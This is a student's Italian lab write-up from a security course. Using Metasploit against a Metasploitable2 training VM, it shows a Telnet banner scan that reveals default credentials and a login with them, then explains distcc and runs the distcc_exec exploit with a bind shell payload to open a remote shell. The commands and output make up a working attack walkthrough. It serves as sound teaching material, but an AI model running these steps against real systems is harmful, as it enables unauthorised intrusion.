

---

# S7-L2

## Exploit Telnet con Metasploit

Emanuele Benedetti | 21 gennaio 2025

---

### Consegna

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable.

### Requisito

Seguire gli step visti in lezione teorica. Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40

### Bonus

Studiare cos'è il servizio distcc e scrivere qualche riga di spiegazione di questo servizio. Spiegare la motivazione dell'esistenza della vulnerabilità. Per quale motivo tengono la porta aperta? E facilmente accessibile?

Effettuare l'attacco al servizio distccd ed aprire una shell nella macchina bersaglio.

### Svolgimento

#### Configurazione delle macchine

Ho iniziato configurando le macchine come richiesto dalla consegna, assegnando manualmente l'indirizzo IP 192.168.1.25 a Kali e 192.168.1.40 a Metasploitable2.

Ho utilizzato il comando `sudo ip addr add 192.168.1.25/24 dev eth0` sulla macchina attaccante e `sudo ip addr add 192.168.1.40/24 dev eth0` sulla macchina target.

Configurazione Kali:

```
(kali㉿kali)-[~]
$ sudo ip addr add 192.168.1.25/24 dev eth0

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::fa9a:f7ba:91c1:eee9/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Configurazione Metasploitable:

```
msfadmin@metasploitable:~$ sudo ip addr add 192.168.1.40/24 dev eth0
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:72:66:ae brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 scope global eth0
    inet6 fe80::a00:27ff:fe72:66ae/64 scope link
        valid_lft forever preferred_lft forever
```

Ho quindi verificato che le macchine comunicassero correttamente tramite il comando `ping`.

```
(kali㉿kali)-[~]
$ ping -c 4 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.754 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.757 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=1.32 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.555 ms

--- 192.168.1.40 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 0.555/0.846/1.321/0.285 ms

msfadmin@metasploitable:~$ ping -c 4 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=6.06 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.697 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.493 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.578 ms

--- 192.168.1.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.493/1.958/6.066/2.372 ms
```

## Exploit Telnet con Metasploit

Per verificare se il servizio Telnet fosse attivo sul target ho eseguito il comando `nmap -T5 -sV -p 23 192.168.1.40` che esegue una scansione sulla porta 23 (porta di default di Telnet) e riporta le informazioni sullo stato della porta e la versione del protocollo usato

```
(kali㉿kali)-[~]  
$ nmap -T5 -sV -p 23 192.168.1.40  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 14:25 CET  
Nmap scan report for 192.168.1.40  
Host is up (0.00043s latency).  
  
PORT      STATE SERVICE VERSION  
23/tcp    open  telnet  Linux telnetd  
MAC Address: 08:00:27:72:66:AE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

Dopo essermi accertato che il servizio fosse in esecuzione ho avviato la console di Metasploit framework con *msfconsole*.

(kali@kali)-[~]  
\$ msfconsole

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x

METASPLOIT by Rapid7

Diagram illustrating the Metasploit workflow:

- Initial state: `=c( (o( ( _ )`
- Transition to **RECON** phase (indicated by dashed lines).
- Transition to **EXPLOIT** phase (indicated by solid lines).
- Final state: `[msf >]` followed by a series of parentheses `(a)(a)(a)(a)(a)(a)(a)(a)` and a large asterisk block.

La consegna indicava di utilizzare l'exploit *auxiliary telnet\_version* quindi ho cercato l'exploit digitando sulla console *search auxiliary telnet\_version*.

```
msf6 > search auxiliary telnet_version
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/telnet/lantronix_telnet_version	.	normal	No	Lantronix Telnet Service Banner Detection
1	auxiliary/scanner/telnet/telnet_version	.	normal	No	Telnet Service Banner Detection

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |


```

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   | 192.168.1.40    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |


```

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Login with msfadmin/msfadmin to get started
Login with msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Ho inserito nel terminale il comando *telnet 192.168.1.40* ed inserito le credenziali rubate, riuscendo ad eseguire correttamente la connessione:

```

(kali@kali)-[~]
$ telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
st_Cartella

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Jan 20 07:00:48 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ |

```

## Bonus

Per eseguire il bonus ho effettuato nuovamente una scansione con nmap utilizzando lo switch **-p-** che permette di analizzare tutte le porte dell'obiettivo.

```

(kali@kali)-[~]
$ nmap -T5 -sS -p- 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 14:48 CET
Nmap scan report for 192.168.1.40
Host is up (0.00028s latency).
Not shown: 65503 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
3306/tcp   open  mysql
3632/tcp   open  distccd
4444/tcp   open  krb524
5128/tcp   open  ...

```

Come vediamo sulla porta 3632 è attivo il demone del servizio *distcc*.

---

## **Descrizione distcc**

Distcc è un servizio di compilazione distribuita che permette di accelerare la compilazione di software, sfruttando più macchine all'interno di una rete. In questo modo il carico di lavoro è condiviso, riducendo significativamente i tempi di compilazione. distcc è comunemente usato in ambienti di sviluppo dove si ha bisogno di compilare grandi quantità di codice, come in progetti open source.

## **Funzionamento**

Il funzionamento di distcc prevede che il client invii frammenti di codice sorgente ai server distcc, che li compilano e restituiscono i risultati. Questo processo permette di sfruttare risorse hardware multiple per completare il lavoro più velocemente.

## **Vulnerabilità distcc**

La vulnerabilità di distcc riguarda principalmente la sua porta aperta e l'accessibilità del servizio a chiunque sia in grado di connettersi a quella porta. Questo servizio se non configurato correttamente, può essere sfruttato da un attaccante per eseguire codice maligno.

## **Considerazioni sulla porta aperta**

La porta 3632 è aperta per consentire ai client distcc di connettersi al server distcc per inviare richieste di compilazione. La porta deve essere accessibile affinché il processo di compilazione distribuita funzioni correttamente. Quando utilizzato correttamente in una rete sicura, distcc è uno strumento utile per migliorare l'efficienza della compilazione, poiché permette di sfruttare più macchine e risorse. Tuttavia, la porta è vulnerabile se il servizio non è adeguatamente protetto da misure di sicurezza come firewall, autenticazione o crittografia.

## **Sfruttamento della vulnerabilità distcc**

Per effettuare l'attacco al servizio distccd ed aprire una shell nella macchina bersaglio ho utilizzato nuovamente il tool Metasploit Framework.

Dopo aver avviato il programma con *msfconsole* ho ricercato gli exploit tramite *search distcc*.

```
msf6 > search distcc

Matching Modules



| # | Name                          | Disclosure Date | Rank      | Check | Description                     |
|---|-------------------------------|-----------------|-----------|-------|---------------------------------|
| 0 | exploit/unix/misc/distcc_exec | 2002-02-01      | excellent | Yes   | DistCC Daemon Command Execution |


```

Nel database è presente un exploit che se eseguito con successo ci permette di ottenere l'accesso alla shell del sistema target. Selezioniamo l'exploit con *use exploit/unix/misc/distcc\_exec* e controlliamo le opzioni tramite *show options*.

```
msf6 > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 3632            | yes      | The target port (TCP)                                                                                  |


```

Come fatto precedentemente impostiamo l'indirizzo IP del target con *set rhosts 192.168.1.40* ed elenchiamo i payload disponibili con *show payloads*.

```
msf6 exploit(unix/misc/distcc_exec) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads



| #  | Name                                       | Disclosure Date | Rank   | Check | Description                                          |
|----|--------------------------------------------|-----------------|--------|-------|------------------------------------------------------|
| 0  | payload/cmd/unix/adduser                   | .               | normal | No    | Add user with useradd                                |
| 1  | payload/cmd/unix/bind_perl                 | .               | normal | No    | Unix Command Shell, Bind TCP (via Perl)              |
| 2  | payload/cmd/unix/bind_perl_ipv6            | .               | normal | No    | Unix Command Shell, Bind TCP (via perl) IPv6         |
| 3  | payload/cmd/unix/bind_ruby                 | .               | normal | No    | Unix Command Shell, Bind TCP (via Ruby)              |
| 4  | payload/cmd/unix/bind_ruby_ipv6            | .               | normal | No    | Unix Command Shell, Bind TCP (via Ruby) IPv6         |
| 5  | payload/cmd/unix/generic                   | .               | normal | No    | Unix Command, Generic Command Execution              |
| 6  | payload/cmd/unix/reverse                   | .               | normal | No    | Unix Command Shell, Double Reverse TCP (telnet)      |
| 7  | payload/cmd/unix/reverse_bash              | .               | normal | No    | Unix Command Shell, Reverse TCP (/dev/tcp)           |
| 8  | payload/cmd/unix/reverse_bash_telnet_ssl   | .               | normal | No    | Unix Command Shell, Reverse TCP SSL (telnet)         |
| 9  | payload/cmd/unix/reverse_openssl           | .               | normal | No    | Unix Command Shell, Double Reverse TCP SSL (openssl) |
| 10 | payload/cmd/unix/reverse_perl              | .               | normal | No    | Unix Command Shell, Reverse TCP (via Perl)           |
| 11 | payload/cmd/unix/reverse_perl_ssl          | .               | normal | No    | Unix Command Shell, Reverse TCP SSL (via perl)       |
| 12 | payload/cmd/unix/reverse_ruby              | .               | normal | No    | Unix Command Shell, Reverse TCP (via Ruby)           |
| 13 | payload/cmd/unix/reverse_ruby_ssl          | .               | normal | No    | Unix Command Shell, Reverse TCP SSL (via Ruby)       |
| 14 | payload/cmd/unix/reverse_ssl_double_telnet | .               | normal | No    | Unix Command Shell, Double Reverse TCP SSL (telnet)  |


```

In questo caso abbiamo diversi payloads tra cui scegliere, io ho selezionato il *payload/cmd/unix/bind\_ruby* con *set payload 3*.



Verifichiamo che le impostazioni di exploit e payload siano corrette ed infine lanciamo l'attacco con *exploit*.

```
msf6 exploit(unix/misc/distcc_exec) > set payload 3
payload => cmd/unix/bind_ruby
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 3632            | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/bind_ruby):



| Name  | Current Setting | Required | Description        |
|-------|-----------------|----------|--------------------|
| LPORT | 4444            | yes      | The listen port    |
| RHOST | 192.168.1.40    | no       | The target address |



msf6 exploit(unix/misc/distcc_exec) > exploit
[*] 192.168.1.40:3632 - stderr: -e:1:in `initialize': Address already in use - bind(2) (Errno::EADDRINUSE)
[*] 192.168.1.40:3632 - stderr:      from -e:1:in `new'
[*] 192.168.1.40:3632 - stderr:      from -e:1
[*] Started bind TCP handler against 192.168.1.40:4444
[*] Command shell session 1 opened (192.168.1.25:36475 -> 192.168.1.40:4444) at 2025-01-21 15:17:09 +0100
```

Dopo qualche istante siamo riusciti ad ottenere l'accesso alla shell della macchina target come richiesto dalla consegna. Possiamo eseguire dei comandi per testare la corretta riuscita dell'attacco.

Ho eseguito il comando *id* e *whoami* per verificare quale fosse l'utente autenticato e i privilegi assegnati all'utente. In questo caso siamo autenticati come *daemon* e non abbiamo i privilegi di root.

```
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
whoami
daemon
```

Infine *ifconfig* per verificare che l'indirizzo della macchina fosse quello del target

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:72:66:ae
          inet addr:192.168.1.40  Bcast:0.0.0.0  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe72:66ae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
```